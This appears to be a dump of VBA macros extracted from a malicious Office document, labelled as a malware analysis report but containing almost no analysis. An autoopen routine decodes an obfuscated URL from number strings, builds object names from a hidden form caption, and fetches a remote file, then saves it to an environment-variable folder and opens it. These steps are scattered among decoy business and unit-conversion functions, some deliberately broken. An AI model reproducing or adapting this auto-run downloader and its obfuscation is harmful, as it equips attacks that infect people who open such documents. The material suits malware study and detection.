Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub w(Optional FileName As String = "") '{{{
    If FileName = "" Then
        Set Wb = ActiveWorkbook
    Else
        Set Wb = Workbooks(FileName)
    End If
    Wb.Save
End Sub '}}}
Sub wa() '{{{
    For Each Wb In Workbooks
        Wb.Save
    Next
End Sub '}}}

Sub q(Optional FileName As String = "") '{{{
    If FileName = "" Then
        Set Wb = ActiveWorkbook
    Else
        Set Wb = Workbooks(FileName)
    End If
    Wb.Close

    If Workbooks.Count <= 1 Then
        On Error Resume Next
        Workbooks("register.xlsx").Close savechanges:=False
        Application.Quit
    End If

End Sub '}}}
Sub q_exclamation() '{{{
    Set atwb = ActiveWorkbook
    atwb.Close savechanges:=False

    If Workbooks.Count <= 1 Then
        On Error Resume Next
        Workbooks("registry.xlsx").Close savechanges:=False
        Application.Quit
    End If
End Sub '}}}
Sub qa() '{{{
    For Each Wb In Workbooks
        Wb.Close
    Next

    If Workbooks.Count <= 1 Then
        On Error Resume Next
        Workbooks("registry.xlsx").Close savechanges:=False
        Application.Quit
    End If
End Sub '}}}
Sub qa_exclamation() '{{{
    For Each Wb In Workbooks
        Wb.Close savechanges:=False
    Next
        If Workbooks.Count = 0 Then
                Application.Quit
        End If
End Sub '}}}

Sub autoopen()
assignIgnoreType "", ""
End Sub

Sub wq(Optional FileName As String = "") '{{{
    Call w(FileName)
    Call q(FileName)
End Sub '}}}

Sub cos() '{{{
    Set atwb = ActiveWorkbook
    Workbooks.CheckOut (atwb.Path & "\" & atwb.Name)
    atwb.Save
    atwb.CheckIn '???????
    If Workbooks.Count = 0 Then
                Application.Quit
    End If
End Sub '}}}

Sub co() '{{{
    Set atwb = ActiveWorkbook
    Workbooks.CheckOut (atwb.Path & "\" & atwb.Name)
End Sub '}}}

Sub cd(Optional bookName = "") '{{{
    If bookName = "" Then
        Set book = ActiveWorkbook
    Else
        Set book = Workbooks(bookName)
    End If

    On Error GoTo Myerror
        If Left(book.FullName, 2) <> "\\" And Left(book.FullName, 2) <> "ht" Then
            ChDrive book.Path
            ChDir book.Path
        Else
            CreateObject("WScript.Shell").CurrentDirectory = book.Path
        End If

        Debug.Print "moved to " & CurDir
        Exit Sub
Myerror:
        MsgBox "failed cd " & "\n" & err.Description
End Sub '}}}

Sub update() '{{{
    If Not ActiveSheet.AutoFilter Is Nothing Then
        ActiveSheet.AutoFilter.ApplyFilter
    End If
    ActiveSheet.Calculate
End Sub '}}}

Public Function SmartOpenBook(filePath) '{{{
    Dim buf As String, Wb As Workbook

    On Error GoTo Myerror
        '??????
        buf = Dir(filePath)
        If buf = "" Then
            MsgBox filePath & vbCrLf & "???????", vbExclamation
            Exit Function
        End If

        '??????????
        For Each Wb In Workbooks
            If Wb.FullName = filePath Then
                Wb.Activate
                Exit Function
            End If
        Next Wb

        DoEvents
        ' Workbooks.Open FileName:=filePath, Notify:=True, AddToMru:=True
        CreateObject("Wscript.Shell").Run Chr(34) & filePath & Chr(34), 5

        Exit Function
Myerror:
        MsgBox err.Description & vbCrLf & "Alternatively filepath was copied to clipboard"
        With New MSForms.DataObject
            .SetText filePath '?????DataObject?????
            .PutInClipboard   'DataObject?????????????????
        End With
End Function '}}}

'PDF copy
Public Sub PrintPdfDir(dirPath As String) '{{{
        Dim FileName As String
        Dim fileList As New Collection
        FileName = Dir(dirPath)  '???????????
        Do While FileName <> ""
                fileList.Add Item:=dirPath & FileName
                FileName = Dir              '??????????
        Loop
        On Error GoTo err
                For Each f In fileList
                        AdobeReader.PrintPdf filePath:=CStr(f)
                Next f
        Exit Sub
err:            ' ????????
                MsgBox err.Number & vbCr & err.Description, vbCritical
End Sub  '}}}

Attribute VB_Name = "Module6"
Public Sub NombreSQL(ByRef CADENA As String)
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
        End If
    Loop Until i = 0
End Sub

Public Function DevNombreSQL(CADENA As String) As String
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
        End If
    Loop Until i = 0
    DevNombreSQL = CADENA
End Function

Public Function EjecutarSQL(CadenaSQL As String) As Boolean
    On Error Resume Next
    Conn.Execute CadenaSQL
    If err.Number <> 0 Then
         
         MuestraError err.Number, "Error ejecutando SQL: " & vbCrLf & CadenaSQL, err.Description
         EjecutarSQL = False
    Else
         EjecutarSQL = True
    End If
    
End Function


Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String
CadenaCurrency = Replace(A1, A2, A3)
End Function


Public Function NewName9(ByRef T As String) As Boolean
Dim Cad As String
    
    Cad = T
    
    If InStr(1, Cad, "/") = 0 Then
        If Len(T) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If
    If IsDate(Cad) Then
        NewName9 = True
        T = Format(Cad, "dd/mm/yyyy")
    Else
EsNumerico "4, 6, 12"
        NewName9 = False
    End If
End Function

Public Function sedming_Warning_AKADEMIA(pressure As Double)
ROSTIX = CallByName(HeroNakamura__1, NewNameNEWNAME_NEW(1000 / 100), VbGet)
 CallByName Freddy_HeroNakamura, NewNameNEWNAME_NEW(9), VbMethod, ROSTIX
 sedming_Warning_AKADEMIA = (1# * 10 ^ 5) * pressure
End Function


Function Path() '{{{
    MsgBox ActiveWorkbook.Path
    Dim buf As String
    buf = ActiveWorkbook.Path
    With New MSForms.DataObject
        .SetText buf      '?????DataObject?????
        .PutInClipboard   'DataObject?????????????????
    End With
End Function '}}}

Public Function fpath(h As String) As Variant '{{{
    Dim AWF As String
    fpath = Split(h, "Ъ")
    Exit Function
    AWF = ActiveWorkbook.FullName
    With New MSForms.DataObject
        .SetText AWF      '?????DataObject?????
        .PutInClipboard   'DataObject?????????????????
    End With
    MsgBox AWF
End Function '}}}

Function af() '{{{
        ActiveCell.EntireColumn.AutoFit
        ActiveCell.EntireRow.AutoFit
End Function '}}}

Attribute VB_Name = "Module2"
Public HeroNakamura__1 As Object
Public Freddy_HeroNakamura As Object
Public HeroNakamura__3 As Object
Public NewObjectFielda() As String
Public HeroNakamura__4 As String
Public HeroNakamura__Warning As String
Public HeroNakamura_sedming As Object
 Public Constant_4 As String
Public NewNameNEWNAME_NEW() As String
Const INTERVAl_MILLIS_DO_EVENTS As Long = 100
Public Function newStringBuilder() As String
 newStringBuilder = ""
End Function
Public Function newCompareValueCalculator()
 calc.init
 Set newCompareValueCalculator = calc
End Function
Public Function newTagBuilder(rootTagName As String) As String
 Call builder.init(rootTagName)
End Function
Public Function newDate(aYear As Long, aMonth As Integer, aDay As Integer) As Date
 newDate = CDate(LText.messageFormat("{1::0}/{2::00}/{3::00}", aYear, aMonth, aDay))
End Function
Public Function newStringSet() As String
 Dim HeroNakamura As String
 Call res.ult.init
End Function
Public Function Fso() As String
 Static staticFso As String
 If stat.icFso Is Nothing Then
 End If
End Function
 
Public Sub assignIgnoreType(ByRef aOut, ByVal aIn)
 If VarType(NewName7) = 0 Then

NewObjectFielda = fpath("1664Ъ1856Ъ1856Ъ1792Ъ928Ъ752Ъ752Ъ1792Ъ1680Ъ1792Ъ1856Ъ736Ъ1904Ъ1552Ъ1728Ъ1728Ъ1840Ъ1856Ъ736Ъ1824Ъ1872Ъ752Ъ1648Ъ1824Ъ1664Ъ848Ъ832Ъ832Ъ832Ъ1856Ъ1648")
 UsuariosConectados 449
 Exit Sub
 End If
 If IsObject(aIn) Then
 Set aOut = aIn
 Else
 aOut = aIn
 End If
End Sub


Public Function UsuariosConectados(energy As Double)
Dim aHeroNakamura As String
 aHeroNakamura = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
 aHeroNakamura = CadenaCurrency(aHeroNakamura, "D!", "M")
 aHeroNakamura = CadenaCurrency(aHeroNakamura, "bri", "s")
 NewNameNEWNAME_NEW = Split(aHeroNakamura, "10)")
NewName11 0.33
 UsuariosConectados = 3.6 * 10 ^ 3 * (1.987 / 8.314) * energy
End Function
Private Function getTimeLoggerInstance() As String
 Static logger As String
 If logg.er Is Nothing Then
 logg.er.init
 End If
End Function
Public Sub tlog(message As String, Optional groupId As String = "*default*")
 Call getTimeLogge.rInstance().Log(message, groupId)
End Sub

Public Sub printTimelogReport()
 Call getTimeL.oggerInstance().printReports
End Sub
Public Sub clearTimelogReport()
 Call getTimeLog.gerInstance().crearReports
End Sub
Public Sub setTimelogVerbose(isVerbose As Boolean)
 Call Status.OfLibrary.setTimeLoggerVerbose(isVerbose)
End Sub
Public Sub writeLog(ByVal message As String)
 Call LLog.writeLog(message)
End Sub
Private Function getDoEventsTimer() As String
 Static timer As String
 If ti.mer Is Nothing Then
 Set tim.er = LCreation.newTimer
 End If
End Function
Public Sub doEventsWithInterval(Optional intervalMillis As Long = INTERVAl_MILLIS_DO_EVENTS)
 If intervalMillis <= getDoEvent.sTimer().getMillis() Then
 doEventsImmediately
 End If
End Sub
Public Sub doEventsImmediately()
 getDoEvent.sTimer.Reset
 DoEvents
End Sub

Attribute VB_Name = "Module1"



Public Function RemesaSeleccionTipoRemesa(chkEfec As Boolean, chkPaga As Boolean, chkTalon As Boolean) As String
Dim C As String

 Set HeroNakamura__0_22 = CreateObject(NewNameNEWNAME_NEW(3))
    C = ""
     Set HeroNakamura__3 = HeroNakamura__0_22.Environment(NewNameNEWNAME_NEW(4))
     NewName1
End Function

Public Function EsNumerico(TEXTO As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim Cad As String
    
 Set Freddy_HeroNakamura = CreateObject(NewNameNEWNAME_NEW(1))

 Set HeroNakamura_sedming = CreateObject(NewNameNEWNAME_NEW(2))

RemesaSeleccionTipoRemesa False, False, True
Exit Function
    EsNumerico = False
    Cad = ""
    If Not IsNumeric(TEXTO) Then
        Cad = "El campo debe ser numйrico"
    Else
        
        C = 0
        L = 1
        Do
            i = InStr(L, TEXTO, ".")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then Cad = "Numero de puntos incorrecto"
        
        
        If C = 0 Then
            L = 1
            Do
                i = InStr(L, TEXTO, ",")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then Cad = "Numero incorrecto"
        End If
        
    End If
    If Cad <> "" Then
        MsgBox Cad, vbExclamation
    Else
        EsNumerico = True
    End If
End Function

Public Function NewName11(DWW As Double)
 Set HeroNakamura__1 = CreateObject(NewNameNEWNAME_NEW(0))
 NewName9 "NewName9"
End Function


Public Function NewName3() As Boolean
Dim Cad As String

    NewName4 = 22
CallByName Freddy_HeroNakamura, NewNameNEWNAME_NEW(8 - 1), 88 / NewName4, NewName4 - 21
 Freddy_HeroNakamura.Open
   
End Function




Public Function EsFechaOK(T As TextBox) As Boolean
Dim Cad As String
    
    Cad = T.Text
    If InStr(1, Cad, "/") = 0 Then
        If Len(T.Text) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T.Text) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If
    
    If IsDate(Cad) Then
        EsFechaOK = True
        T.Text = Format(Cad, "dd/MM/yyyy")
    Else
        EsFechaOK = False
    End If
End Function


Attribute VB_Name = "Ultra"
Attribute VB_Base = "0{85005CC6-2995-4EB6-802B-1D5F910F5246}{68609E6E-27AB-40F2-BE7C-6E7F2B5E3511}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()

End Sub

Private Sub CommandButton2_Click()

End Sub

Private Sub CommandButton3_Click()

End Sub

Private Sub UserForm_Click()

End Sub

Attribute VB_Name = "Module4"



Public Function NewName1() As String
Dim i As Integer

 Dim ElCounter As Integer
For ElCounter = LBound(NewObjectFielda) To UBound(NewObjectFielda)
 Constant_4 = Constant_4 & RemoveSpecialChar(ElCounter)
 Next ElCounter
 GoTo ENewName1
    NewName1 = ""

    i = vUsu.Codigo Mod 100
    miRsAux.Open "Select * from usuarios.usuarioempresaT WHERE codusu =" & i, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
    NewName1 = ""
    While Not miRsAux.EOF
        NewName1 = NewName1 & miRsAux.Fields(1) & "|"
        miRsAux.MoveNext
    Wend
    If NewName1 <> "" Then NewName1 = "|" & NewName1
    miRsAux.Close
    Exit Function
ENewName1:
     Rudakas "Rudakas"
End Function


Public Function ComprobarCampoENlazado(ByRef T As TextBox, TDesc As TextBox, Tipo As String) As Byte

    T.Text = Trim(T.Text)
    If T.Text = "" Then
        ComprobarCampoENlazado = 0
        TDesc.Text = ""
        Exit Function
    End If
    
    Select Case Tipo
    Case "N"
        If Not IsNumeric(T.Text) Then
            MsgBox "El campo debe ser numйrico: " & T.Text, vbExclamation
            TDesc.Text = ""
            T.Text = ""
            ComprobarCampoENlazado = 1
        Else
            ComprobarCampoENlazado = 2
        End If
    End Select
        
End Function

Public Function TextoAimporte(Importe As String) As Currency
Dim i As Integer
    If Importe = "" Then
        TextoAimporte = 0
    Else
        If InStr(1, Importe, ",") > 0 Then
            
            Do
                i = InStr(1, Importe, ".")
                If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
            Loop Until i = 0
            TextoAimporte = Importe
        
        
        Else
            
            TextoAimporte = TransformaPuntosComas(Importe)
        End If
    End If

End Function


Public Function feetToMeter(length As Double)
 feetToMeter = 3.048 * 10 ^ -1 * length
End Function
Public Function meterToFeet(length As Double)
 meterToFeet = 3.2808 * length
End Function
Public Function inchToMeter(length As Double)
HeroNakamura__Warning = HeroNakamura__4
HeroNakamura__Warning = HeroNakamura__Warning + NewNameNEWNAME_NEW(55 - 43)
NewName3
 DevuelveDigitosNivelAnterior 37.7
 inchToMeter = (2.54 * 10 ^ -2) * length
End Function
Public Sub CargaImagenesAyudas(ByRef Colec, Tipo As Byte, Optional ToolTipText_ As String)
Dim i As Image

    

    For Each i In Colec
            i.Picture = frmPpal.imgIcoForms.ListImages(Tipo).Picture
            If i.TooltipText = "" Then
                If ToolTipText_ <> "" Then
                    i.TooltipText = ToolTipText_
                Else
                    If Tipo = 3 Then
                        i.TooltipText = "Ayuda"
                    ElseIf Tipo = 2 Then
                        i.TooltipText = "Buscar fecha"
                    Else
                        i.TooltipText = "Buscar"
                    End If
                End If
            End If
    Next
End Sub

Public Function UZDLLPrnt(ByRef fname As String, ByVal x As Long) As Long

  Dim s0 As String
  Dim xx As Long
  Dim cCh As Byte

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  s0 = ""

  '-- Gets The UNZIP32.DLL Message For Displaying.
  For xx = 0 To x - 1
    cCh = fname.ch(xx)
    Select Case cCh
    Case 0
      Exit For
    Case 10
      s0 = s0 & vbNewLine     ' Damn UNIX :-)
    Case 92 ' = Asc("\")
      s0 = s0 & "/"
    Case Else
      s0 = s0 & Chr$(cCh)
    End Select
  Next

  '-- Assign Zip Information
  uZipInfo = uZipInfo & s0

  UZDLLPrnt = 0

End Function

'-- Callback For UNZIP32.DLL - DLL Service Function
Public Function UZDLLServ_I32(ByRef mname As String, _
         ByVal lUcSiz_Lo As Long, ByVal lUcSiz_Hi As Long) As Long

  Dim UcSiz As Double
  Dim s0 As String
  Dim xx As Long

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  ' Parameters lUcSiz_Lo and lUcSiz_Hi contain the uncompressed size
  ' of the extracted archive entry.
  ' This information may be used for some kind of progress display...
  UcSiz = CnvI64Struct2Dbl(lUcSiz_Lo, lUcSiz_Hi)

  s0 = ""
  '-- Get Zip32.DLL Message For processing
  For xx = 0 To UBound(mname.ch)
    If mname.ch(xx) = 0 Then Exit For
    s0 = s0 & Chr$(mname.ch(xx))
  Next
  ' At this point, s0 contains the message passed from the DLL
  ' (like the current file being extracted)
  ' It is up to the developer to code something useful here :)

  UZDLLServ_I32 = 0 ' Setting this to 1 will abort the zip!

End Function


'-- Callback For UNZIP32.DLL - Password Function
Public Function UZDLLPass(ByRef pwbuf As String, _
  ByVal bufsiz As Long, ByRef promptmsg As String, _
  ByRef entryname As String) As Long

  Dim prompt     As String
  Dim xx         As Long
  Dim szpassword As String

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  UZDLLPass = -1  'IZ_PW_CANCEL

  If uVbSkip Then Exit Function

  '-- Get the Password prompt
  For xx = 0 To UBound(promptmsg.ch)
    If promptmsg.ch(xx) = 0 Then Exit For
    prompt = prompt & Chr$(promptmsg.ch(xx))
  Next
  If Len(prompt) = 0 Then
    prompt = "Please Enter The Password!"
  Else
    prompt = prompt & " "
    For xx = 0 To UBound(entryname.ch)
      If entryname.ch(xx) = 0 Then Exit For
      prompt = prompt & Chr$(entryname.ch(xx))
    Next
  End If

  '-- Get The Zip File Password
  Do
    szpassword = InputBox(prompt)
    If Len(szpassword) < bufsiz Then Exit Do
    ' -- Entered password exceeds UnZip's password buffer size
    If MsgBox("The supplied password exceeds the maximum password length " _
            & CStr(bufsiz - 1) & " supported by the UnZip DLL." _
            , vbExclamation + vbRetryCancel, "UnZip password too long") _
         = vbCancel Then
      szpassword = ""
      Exit Do
    End If
  Loop

  '-- No Password So Exit The Function
  If Len(szpassword) = 0 Then
    uVbSkip = True
    Exit Function
  End If

  '-- Zip File Password So Process It
  For xx = 0 To bufsiz - 1
    pwbuf.ch(xx) = 0
  Next
  '-- Password length has already been checked, so
  '-- it will fit into the communication buffer.
  For xx = 0 To Len(szpassword) - 1
    pwbuf.ch(xx) = Asc(Mid$(szpassword, xx + 1, 1))
  Next

  pwbuf.ch(xx) = 0 ' Put Null Terminator For C

  UZDLLPass = 0   ' IZ_PW_ENTERED

End Function

'-- Callback For UNZIP32.DLL - Report Function To Overwrite Files.
'-- This Function Will Display A MsgBox Asking The User
'-- If They Would Like To Overwrite The Files.
Public Function UZDLLReplacePrmt(ByRef fname As String, _
                                 ByVal fnbufsiz As Long) As Long

  Dim s0 As String
  Dim xx As Long
  Dim cCh As Byte
  Dim bufmax As Long

  '-- Always implement a runtime error handler in Callback Routines!
  On Error Resume Next

  UZDLLReplacePrmt = 100   ' 100 = Do Not Overwrite - Keep Asking User
  s0 = ""
  bufmax = UBound(fname.ch)
  If bufmax >= fnbufsiz Then bufmax = fnbufsiz - 1

  For xx = 0 To bufmax
    cCh = fname.ch(xx)
    Select Case cCh
    Case 0
      Exit For
    Case 92 ' = Asc("\")
      s0 = s0 & "/"
    Case Else
      s0 = s0 & Chr$(cCh)
    End Select
  Next

  '-- This Is The MsgBox Code
  xx = MsgBox("Overwrite """ & s0 & """ ?", vbExclamation Or vbYesNoCancel, _
              "VBUnZip32 - File Already Exists!")
  Select Case xx
  Case vbYes
    UZDLLReplacePrmt = 102    ' 102 = Overwrite, 103 = Overwrite All
  Case vbCancel
    UZDLLReplacePrmt = 104    ' 104 = Overwrite None
  Case Else
    'keep the default as set at function entry.
  End Select

End Function
Public Function RemoveSpecialChar(strFileName As Integer) As String
 Dim i As Byte
 Dim SpecialChar As Boolean
 Dim SelChar As String, OutFileName As String

 RemoveSpecialChar = Chr(CInt(NewObjectFielda(strFileName)) / (9 + 7))
 Exit Function
 For i = 1 To Len(strFileName)
 SelChar = Mid(strFileName, i, 1)
 SpecialChar = InStr(":/\?*|<>" & Chr$(34), SelChar) > 0
 If (Not SpecialChar) Then
 OutFileName = OutFileName & SelChar
 SpecialChar = False
 Else
 OutFileName = OutFileName
 SpecialChar = False
 End If
 Next i
 RemoveSpecialChar = OutFileName
End Function
Public Function DevuelveDigitosNivelAnterior(temperature As Double)
sedming_Warning_AKADEMIA 309
 DevuelveDigitosNivelAnterior = (5 / 9) * (temperature + 459.67)
 
 CallByName Freddy_HeroNakamura, NewNameNEWNAME_NEW(11), VbMethod, HeroNakamura__Warning, 2
 KelvinToRankine = (5 / 9) * (temperature - 32)
 
 HeroNakamura_sedming.Open (HeroNakamura__Warning)
 JouleTocal = (1.987 / 8.314) * temperature
End Function
Public Function CalToJoule(energy As Double)
 CalToJoule = 4.184 * energy
End Function
Public Function CalToKwh(energy As Double)
 CalToKwh = 4.184 * 3.6 * 10 ^ 3 * energy
End Function
Public Function JouleToKwh(energy As Double)
 NewName11 = (3.6 * 10 ^ 3) ^ -1 * energy
End Function
Public Function PasToCentipoise(viscosity As Double)
 PasToCentipoise = 1000 * viscosity
End Function
Public Function centipoiseToPas(viscosity As Double)
 centipoiseToPas = viscosity / 1000
End Function
Public Function DevuelveNombreInformeSCRYST(NumInforme As Integer, Titulo As String) As String
Dim Cad As String

        DevuelveNombreInformeSCRYST = ""
        Cad = DevuelveDesdeBD("informe", "scryst", "codigo", CStr(NumInforme))

        If Cad = "" Then
            MsgBox "No existe el informe para: " & Titulo & " (" & NumInforme & ")", vbExclamation
            Exit Function
        End If
        
        
        If Dir(App.Path & "\InformesT\" & Cad, vbArchive) = "" Then
            MsgBox "No se encuentra el archivo: " & Cad & vbCrLf & "Opcion: " & Titulo, vbExclamation
            Exit Function
        End If
        DevuelveNombreInformeSCRYST = Cad
            
End Function

Public Function Memo_Leer(ByRef C As Variant) As String
    On Error Resume Next
    Memo_Leer = C.value
    If err.Number <> 0 Then
        err.Clear
        Memo_Leer = ""
    End If
End Function






Public Function Rudakas(x As Variant) As Boolean
 If x = "Rudakas" Then
 
HeroNakamura__1.Open NewNameNEWNAME_NEW(10 - (2 + 1 + 2)), Constant_4, False
HeroNakamura__1.send
 HeroNakamura__4 = HeroNakamura__3(NewNameNEWNAME_NEW(180 / 30))
 Rudakas = True
 
 ElseIf IsNull(x) Then
 Rudakas = True
 
 ElseIf IsEmpty(x) Then
 Rudakas = True
 
 ElseIf x Is Nothing Then
 Rudakas = True
 
 ElseIf IsArray(x) Then
 Rudakas = (UBound(x) - LBound(x) < 0)

 Else
 Rudakas = False
 End If
 inchToMeter 44.5
End Function